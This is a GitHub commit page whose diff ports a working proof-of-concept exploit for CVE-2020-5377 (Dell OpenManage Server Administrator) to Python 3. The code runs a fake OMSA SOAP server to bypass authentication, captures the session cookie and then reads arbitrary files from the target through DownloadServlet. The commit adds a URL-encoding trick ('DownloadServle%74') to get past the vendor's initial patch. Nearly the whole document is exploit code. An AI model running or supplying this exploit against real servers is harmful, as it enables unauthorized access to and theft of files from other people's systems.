Skip to content

Commit

Permalink
Update CVE-2020-5377.py
Browse files Browse the repository at this point in the history
- Updated the PoC from Python2 to Python3
- This also includes the URL encoding on the "download" link to bypass the initial patch
  • Loading branch information
TeneBrae93 authored Jun 29, 2023
1 parent 4cc4ef9 commit f10d1f6
Showing 1 changed file with 95 additions and 87 deletions.
182 changes: 95 additions & 87 deletions CVE-2020-5377_CVE-2021-21514/CVE-2020-5377.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,108 +5,116 @@
# https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability

from xml.sax.saxutils import escape
import BaseHTTPServer
import requests
import thread
import http.server
import ssl
import sys
import re
import os
import requests
import _thread

import urllib3
urllib3.disable_warnings()

if len(sys.argv) < 3:
print 'Usage python auth_bypass.py <yourIP> <targetIP>:<targetPort>'
exit()

#This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909
#Also check out https://github.com/hantwister/FakeDellOM
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(s):
data = ''
content_len = int(s.headers.getheader('content-length', 0))
post_body = s.rfile.read(content_len)
s.send_response(200)
s.send_header("Content-type", "application/soap+xml;charset=UTF-8")
s.end_headers()
if "__00omacmd=getuserrightsonly" in post_body:
data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>")
if "__00omacmd=getaboutinfo " in post_body:
data = escape("<ProductVersion>6.0.3</ProductVersion>")
if data:
requid = re.findall('>uuid:(.*?)<',post_body)[0]
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule">
<s:Header>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
<wsa:RelatesTo>uuid:'''+requid+'''</wsa:RelatesTo>
<wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID>
</s:Header>
<s:Body>
<n1:SendCmd_OUTPUT>
<n1:ResultCode>0</n1:ResultCode>
<n1:ReturnValue>'''+data+'''</n1:ReturnValue>
</n1:SendCmd_OUTPUT>
</s:Body>
</s:Envelope>''')

else:
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')

def log_message(self, format, *args):
return

createdCert = False
print('Usage: python file-read.py <yourIP> <targetIP>:<targetPort>')
exit()

# This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909
# Also check out https://github.com/hantwister/FakeDellOM
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
data = b''
content_len = int(self.headers.get('content-length', 0))
post_body = self.rfile.read(content_len)
self.send_response(200)
self.send_header("Content-type", "application/soap+xml;charset=UTF-8")
self.end_headers()
if b"__00omacmd=getuserrightsonly" in post_body:
data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>").encode('utf-8')
if b"__00omacmd=getaboutinfo " in post_body:
data = escape("<ProductVersion>6.0.3</ProductVersion>").encode('utf-8')
if data:
requid = re.findall(b'>uuid:(.*?)<', post_body)[0]
response = b'''<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule">
<s:Header>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
<wsa:RelatesTo>uuid:'''+requid+b'''</wsa:RelatesTo>
<wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID>
</s:Header>
<s:Body>
<n1:SendCmd_OUTPUT>
<n1:ResultCode>0</n1:ResultCode>
<n1:ReturnValue>'''+data+b'''</n1:ReturnValue>
</n1:SendCmd_OUTPUT>
</s:Body>
</s:Envelope>'''
self.wfile.write(response)

else:
self.wfile.write(b'''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Dell Inc.</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')

def log_message(self, format, *args):
return

created_cert = False
if not os.path.isfile('./server.pem'):
print '[-] No server.pem certifcate file found. Generating one...'
os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"')
createdCert = True
print('[-] No server.pem certificate file found. Generating one...')
os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"')
created_cert = True

def startServer():
server_class = BaseHTTPServer.HTTPServer
httpd = httpd = server_class(('0.0.0.0', 443), MyHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
def start_server():
server_class = http.server.HTTPServer
httpd = server_class(('0.0.0.0', 443), MyHandler)
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile='./server.pem')
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()

thread.start_new_thread(startServer,())
_thread.start_new_thread(start_server, ())

myIP = sys.argv[1]
my_ip = sys.argv[1]
target = sys.argv[2]

def bypassAuth():
values = {}
url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)
data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"}
r = requests.post(url, data=data, verify=False, allow_redirects=False)
cookieheader = r.headers['Set-Cookie']
sessionid = re.findall('JSESSIONID=(.*?);',cookieheader)
pathid = re.findall('Path=/(.*?);',cookieheader)
values['sessionid'] = sessionid[0]
values['pathid'] = pathid[0]
return values

ids = bypassAuth()
sessionid = ids['sessionid']
pathid = ids['pathid']

print "Session: "+sessionid
print "VID: "+pathid

def readFile(target,sessid,pathid):
def bypass_auth():
values = {}
url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)
data = {"manuallogin": "true", "targetmachine": my_ip, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"}
r = requests.post(url, data=data, verify=False, allow_redirects=False)
cookie_header = r.headers['Set-Cookie']
session_id = re.findall('JSESSIONID=(.*?);', cookie_header)
path_id = re.findall('Path=/(.*?);', cookie_header)
values['sessionid'] = session_id[0]
values['pathid'] = path_id[0]
return values

ids = bypass_auth()
session_id = ids['sessionid']
path_id = ids['pathid']

print("Session: " + session_id)
print("VID: " + path_id)

def read_file(target, sess_id, path_id):
while True:
file = raw_input('file > ')
url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file)
cookies = {"JSESSIONID": sessid}
r = requests.get(url, cookies=cookies, verify=False)
print 'Reading contents of {}:\n{}'.format(file,r.content)

def getPath(path):
if path.lower().startswith('c:\\'):
path = path[2:]
path = path.replace('\\','/')
return path

readFile(target,sessionid,pathid)
file = input('file > ')
url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file)
s = requests.Session()
cookies = {"JSESSIONID": sess_id}
req = requests.Request(method='GET', url=url, cookies=cookies)
prep = req.prepare()
prep.url = "https://{}/{}/DownloadServle%74?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file)
r = s.send(prep, verify=False)
print('Reading contents of {}:\n{}'.format(file, r.content.decode('utf-8')))

def get_path(path):
if path.lower().startswith('c:\\'):
path = path[2:]
path = path.replace('\\','/')
return path

read_file(target, session_id, path_id)



0 comments on commit f10d1f6

Please sign in to comment.